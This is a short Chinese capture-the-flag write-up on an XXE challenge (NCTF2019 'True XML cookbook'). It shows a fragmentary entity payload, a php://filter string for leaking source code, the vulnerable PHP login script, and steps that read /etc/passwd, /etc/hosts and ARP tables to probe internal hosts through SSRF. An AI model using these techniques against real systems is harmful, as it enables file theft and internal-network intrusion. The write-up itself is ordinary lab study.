# [NCTF2019]True XML cookbook
# xxe 漏洞:
与 Fake XML Cookbook 一样的类型,比 fake 难一些
Fake XML Cookbook:
这个是直接 xxe 漏洞:
]>
<user><username>&admin;</username><password>123456</password></user>
这个不能这样做:因为没有反应,反正是读文件
这个读不了读别的:php:filter/convert.base64-encode/resource=doLogin.php
获取源码:
//doLogin.php
<?php\n/**
* autor: c0ny1\n* date: 2018-2-7
*/
$USERNAME = 'admin'; //\xe8\xb4\xa6\xe5\x8f\xb7
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //\xe5\xaf\x86\xe7\xa0\x81
$result = null;
libxml_disable_entity_loader(false); // libxml_disable_entity_loader用于禁用或启用加载外部实体的功能。禁用(TRUE)或启用(FALSE)。
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // loadXML() 方法通过解析一个 XML 标签字符串来组成该文档
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{ // sprintf() 函数把格式化的字符串写入变量中。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
simplexml_import_dom () 函数把 DOM 节点转换为 SimpleXMLElement 对象。获取 DOM 文档节点并转换为 SimpleXML 节点:
<?php
$dom=new domDocument;
$dom->loadXML("<note><to>Tove</to><from>Jani</from></note>");
$x=simplexml_import_dom($dom);
echo $x->from;
?>
输出类似:
Jani
emm…… 没什么发现,但是读取源码的 payload 我还是在这里记录一哈。
这一次有所不同,上一题是我们读取文件得到 flag。这次是刺探存活的服务器;
其实很多人都小看了 xxe 漏洞,觉得它只可以读读文件啊什么的,其实大错特错,它还可以访问内网的主机,和 ssrf 利用的 dict 伪协议一样,都可以刺探存活的主机并且链接访问;也可以看作这个题是在打内网;
好的我们老样子,我们利用 ssrf 读内网文件。先用 file 协议读取相关的文件 /etc/passwd 和 /etc/hosts;当我们读取到 hosts 文件的时候,我们会发现有几个 ip 地址,我们便来访问一下,(到这里应该可以猜到是在打内网了)
只能想到利用xxe进行ssrf打内网,扫描一下内网ip的几个文件:/etc/hosts,/proc/net/arp,/proc/net/fib_trie
然后就是找内网服务器了:读这个 http://173.113.242.10
没找到,还在报错
换个服务器
http://173.113.242.11
获取 flag,完成啦